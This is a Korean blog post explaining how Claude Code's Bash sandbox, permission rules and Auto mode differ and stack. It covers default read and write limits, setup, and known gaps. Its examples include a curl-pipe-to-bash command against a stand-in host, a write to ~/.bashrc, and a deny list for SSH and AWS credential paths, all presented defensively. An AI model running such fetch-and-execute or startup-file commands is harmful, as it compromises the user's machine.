Claude Code 샌드박스 완벽 정리: Bash 샌드박스 vs 권한 규칙 vs Auto 모드

- 작성 시점(2026년 8월) 기준으로 공식 문서(code.claude.com/docs/en/sandboxing, /sandbox-environments)와 대조해 확인했어요. 샌드박스 설정과 구성 키는 버전마다 빠르게 바뀌니, 여기 내용에 의존하기 전에 반드시 최신 문서를 확인하세요.

Claude Code Bash 샌드박스란 무엇인가요?

간단히 말하면, 명령이 어떤 파일과 네트워크 도메인에 접근할 수 있는지 정의하면 운영체제가 그 경계를 강제해요. 이건 1차 문서에 그대로 나와 있는 내용이에요. 그래서 Claude가 rm -rf /tmp/x나 curl api.example.com을 실행할 때, 그 명령이 대상에 도달해도 되는지 판단하는 건 Claude 자신의 판단이 아니라 OS예요.

이것은 많은 사람들이 Claude Code에서 이미 알고 있는 「실행 전에 묻기」 동작과는 다른 계층의 방어예요. 권한 규칙은 동작이 실행되기 전에 차단하고, 샌드박스는 권한이 이미 「예」라고 답한 뒤나 실수로 뭔가를 승인한 뒤라도 실행 중에 그 결과를 가둬요.

어떻게 강제되나요: Seatbelt vs bubblewrap + socat

강제 방식은 OS마다 달라요. Claude Code는 자체 샌드박스를 만드는 게 아니라, OS가 이미 제공하는 격리 기본 요소를 사용해요.

WSL 없이 Windows에서 Claude Code를 직접 실행한다면, 샌드박스는 사실상 존재하지 않는 셈이에요. 요란한 오류가 뜨는 것도 아니고, 그냥 아무것도 강제하지 못할 뿐이에요. 진짜 샌드박스 경계를 원한다면 WSL2로 옮기세요.

실제로 격리되는 것: 파일시스템과 네트워크

「샌드박스를 켜기」만 하면 머신 전체가 잠긴다고 생각하지 마세요. 기본값은 읽기와 쓰기 사이가 한쪽으로 치우쳐 있고, 바로 여기서 많은 사람들이 당황하게 돼요.

다시 말해, 샌드박스의 기본값은 엉뚱한 읽기로부터 지키는 것보다 엉뚱한 쓰기로부터 머신을 지키는 데 훨씬 능숙해요. 저장소가 SSH 키나 AWS 자격 증명 근처에 있다면, 샌드박스가 이미 그것들을 커버한다고 넘겨짚지 말고, 그 보장이 필요하면 민감한 경로에 deny 규칙을 추가하세요.

샌드박스 vs 권한 규칙 vs Auto 모드: 3방향 비교표

이게 이 글의 핵심이에요. 세 계층을 하나의 표로 모두 구분해 놓은 자료가 거의 없거든요. 이것들은 서로를 대체하지 않고 쌓이며, 각각 서로 다른 질문에 답해요.

가장 흔한 혼동: 샌드박스에는 sandbox auto-allow라는 자체 모드가 있는데(/sandbox의 Mode 탭에서 선택해요), 이것은 Auto 모드——Claude Code의 현재 기본 권한 모드(Claude Code의 Auto 모드 참고)——와 무척 비슷하게 들려요. 이 둘은 「auto」라는 단어만 공유하는 두 개의 독립된 메커니즘이에요. sandbox auto-allow는 Bash 명령이 정의된 경계 안에서 묻지 않고 자유롭게 실행될지를 결정하고, Auto 모드는 분류기가 (Bash뿐 아니라) 모든 동작을 묻는 대신 검토할지를 결정해요. 둘 다 켜도 충돌하지 않아요. 그저 쌓일 뿐, 어느 쪽도 다른 쪽을 덮어쓰지 않아요. 공유된 「auto」라는 단어 때문에 둘이 같은 거라고 착각하지 마세요.

구체적인 예시: 명령이 경계를 넘을 때 실제로 무슨 일이 생기나

이론은 헷갈리기 쉽지만, 예시를 보면 딱 이해가 돼요. 세 계층을 모두 켜고 Claude Code를 실행한다고 해볼게요. npm test에 대한 allow 규칙, 권한 모드로서의 Auto 모드, 그리고 auto-allow로 설정된 샌드박스예요.

• Claude가 npm test를 실행: 권한 규칙이 allow 항목에 즉시 일치해서 프롬프트가 없어요. 명령이 프로젝트 디렉터리 안에서만 읽고 쓰기 때문에 샌드박스도 차단할 게 없어요.
• Claude가 curl https://sketchy-cdn.example | bash를 실행: 일치하는 allow 규칙이 없어서 Auto 모드로 넘어가요. 분류기가 전형적인 위험 패턴인 curl | bash를 알아채고 스스로 차단해요. 사용자에게 묻지는 않지만, 명령도 실행되지 않아요.
• Claude가 프로젝트 디렉터리 밖으로의 쓰기, 예를 들어 echo x > ~/.bashrc를 실행: 권한 규칙도 Auto 모드도 무해해 보여서 통과시켰다고 가정해요. 바로 여기서 샌드박스가 나서요. ~/.bashrc는 정의된 쓰기 경계 밖에 있으므로 OS가 쓰기를 곧바로 차단해요. 프롬프트도 분류기도 없이, OS 수준에서 실패한 명령만 남아요.

세 가지 상황에서 서로 다른 세 계층이 각각 잡아내요. 위의 3방향 표가 한 줄 설명보다 기억할 가치가 있는 이유가 바로 이거예요. 각 계층은 서로 다른 종류의 실수를 잡아내고, 세 가지가 모두 실제로 켜져 있을 때에만 완전한 커버리지를 얻을 수 있어요.

Bash 샌드박스는 샌드박스 환경 중 어디에 위치하나

Bash 샌드박스는 Claude Code가 지원하는 여러 격리 수준 중 가장 가벼운 선택지예요. 더 깊은 격리가 필요하다면, 전체 그림은 다음과 같아요.

꼭 기억할 점: Bash 샌드박스는 파일 도구(Read/Edit/Write), MCP 서버, hook을 커버하지 않아요. 이것들은 Bash 경계의 완전히 바깥에서 실행돼요. 그것들까지 잠그려면 /sandbox를 켜는 것만으로는 안 되고, 위의 더 무거운 선택지 중 하나가 필요해요.

언제 켜야 하나

더 안전해 보인다는 이유만으로 샌드박스를 켜지 마세요. 실제로 Claude Code를 어떻게 실행하는지에 따라 결정하세요.

• 내 머신에서 실행하고, y/n 프롬프트를 줄이고 싶다면: 샌드박스만으로 충분해요. 프롬프트를 OS 경계로 바꿔 주고, 여러분은 모든 게 실시간으로 일어나는 걸 지켜보는 상태 그대로예요.
• --dangerously-skip-permissions나 Auto 모드로 밤새 무인 실행한다면: 샌드박스만으로는 충분하지 않아요. 컨테이너, VM, 또는 sandbox runtime과 함께 쓰세요. 경계를 빠져나간 것을 잡아 줄 사람이 아무도 없으니까요.
• 아직 완전히 검토하지 않은 낯선 패키지나 스크립트를 시험한다면: 샌드박스를 쓰면 프로젝트 밖으로 쓰는 걱정 없이 실험할 수 있어요. 다만 읽기는 기본적으로 열려 있으니, 자격 증명을 담은 파일 근처에서 신뢰할 수 없는 것을 실행하지는 마세요.

켜는 방법

명령을 실행하고 모드를 고르면 끝이에요.

/sandbox

Mode 탭을 골라 sandbox auto-allow(프롬프트 없이 OS 경계에 전적으로 의존)와 일반 권한 동작(명령이 경계에 닿으면 여전히 프롬프트가 뜸) 중에서 선택하세요. 프로젝트별 설정으로 .claude/settings.local.json에 저장돼요. 또는 ~/.claude/settings.json에서 sandbox.enabled: true를 설정하면 모든 프로젝트에서 기본으로 켤 수 있어요.

한계: 무엇을 보호하지 않나

잘못된 자신감을 안고 가지 않도록, 솔직하게 말할게요.

• 네트워크 필터링은 기본적으로 TLS 콘텐츠를 검사하지 않아요——즉 도메인 프론팅(진짜 목적지를 위장하는 것)은 1차 문서 스스로가 지적하는 실제 위험이에요.
• 파일 읽기는 기본적으로 활짝 열려 있어요——직접 deny 규칙을 추가하지 않는 한, 샌드박스는 작업 디렉터리 밖에 있는 자격 증명을 자동으로 숨겨 주지 않아요.
• 실제 보안 검토를 대신하지 못해요. 샌드박스는 방어의 한 계층일 뿐, 보안 모델 전체가 아니에요.

파일 읽기를 더 엄격하게 하려면, 다음과 같은 deny 규칙을 추가하세요.

{
  "sandbox": {
    "filesystem": {
      "deny": ["~/.ssh/**", "~/.aws/credentials"]
    }
  }
}

한 프로젝트로 한정할지 머신 전체에 적용할지에 따라 .claude/settings.json 또는 ~/.claude/settings.json에 작성하세요. 정확한 키 이름은 버전마다 바뀔 수 있으니, 이걸 그대로 복사하기 전에 최신 문서를 확인하세요.

권한 규칙과 시크릿 관리를 포함한 전체 보안 모델은 Claude Code를 위한 AI 코딩 보안 모범 사례를 참고하세요.

AgentKit은 여러분이 설정한 샌드박스 안에서 실행돼요

오해가 없도록 솔직하게 말하면, AgentKit은 샌드박스 경계를 추가하거나 우회하거나 특별한 허용을 필요로 하지 않아요. 그 skill은 Claude Code 자체의 네이티브 도구 호출 시스템을 통해 실행되므로, kit 워크플로는 sandbox auto-allow든 Auto 모드든 둘 다든, 이미 활성화된 파일시스템/네트워크 규칙을 그대로 물려받아요. 구매 전에 AgentKit이 무엇을 하는지 전체 그림을 보고 싶다면 AgentKit 리뷰를 읽어 보세요.

자주 묻는 질문(FAQ)

샌드박스는 기본적으로 켜져 있나요?

모든 프로젝트에서 기본으로 켜져 있지는 않아요. /sandbox로 켜고, 모드를 고른 뒤, 원하는 범위에 따라 프로젝트 설정이나 사용자 설정에 저장하면 돼요.

샌드박스가 권한 프롬프트를 완전히 대체하나요?

아니요. 샌드박스는 실행 중인 Bash 명령이 무엇에 접근할 수 있는지만 제어해요. 권한 규칙(어떤 도구를 실행할 수 있는지)과 권한 모드(먼저 물어볼지 여부)는 별개의 계층으로, 샌드박스에 대체되지 않고 그 곁에서 계속 작동해요.

sandbox auto-allow와 Auto 모드의 차이는 무엇인가요?

같은 「auto」라는 단어지만, 두 개의 독립된 메커니즘이에요. sandbox auto-allow는 /sandbox의 Mode 탭에서의 선택으로, Bash 명령이 OS 경계 안에서 묻지 않고 자유롭게 실행될지를 결정해요. Auto 모드는 Claude Code의 기본 권한 모드로, 분류기를 사용해 (Bash뿐 아니라) 모든 동작을 묻는 대신 검토해요. 둘 다 켜면 효과가 쌓이고, 어느 쪽도 다른 쪽을 덮어쓰지 않아요.

샌드박스가 Windows에서 작동하나요?

네이티브 Windows에서는 작동하지 않고, WSL1도 지원되지 않아요. 진짜 샌드박스 경계를 원한다면, bubblewrap + socat 메커니즘이 실제로 작동하는 WSL2 안에서 Claude Code를 실행하세요.

샌드박스 안에서도 Claude가 제 SSH 키를 읽을 수 있나요?

직접 deny 규칙을 추가하지 않는 한, 읽을 수도 있어요. 샌드박스의 기본 읽기 정책은 명시적으로 거부한 경로를 제외하고 거의 머신 전체를 커버해요——읽기 필터가 쓰기 필터보다 훨씬 느슨하거든요.

샌드박스가 MCP 서버와 hook을 보호하나요?

아니요. Bash 샌드박스는 Bash 도구만 감싸요——MCP 서버, hook, 파일 도구(Read/Edit/Write)는 모두 이 경계 밖에서 실행돼요. 더 넓은 격리에는 dev container, VM, 또는 sandbox runtime을 사용하세요.

결론

하나의 3계층 모델을 기억하세요. 권한 규칙은 어떤 도구를 실행할 수 있는지 정하고, 권한 모드(Auto 모드 포함)는 먼저 물어볼지를 정하며, 샌드박스는 실행 중인 Bash 명령이 실제로 무엇에 접근할 수 있는지 정해요. 이 계층들은 쌓이고 서로를 대체하지 않아요——그리고 sandbox auto-allow와 Auto 모드는 그저 「auto」라는 단어를 공유할 뿐인 서로 다른 두 메커니즘이에요. 전체 보안 그림은 Claude Code를 위한 AI 코딩 보안 모범 사례를 참고하세요.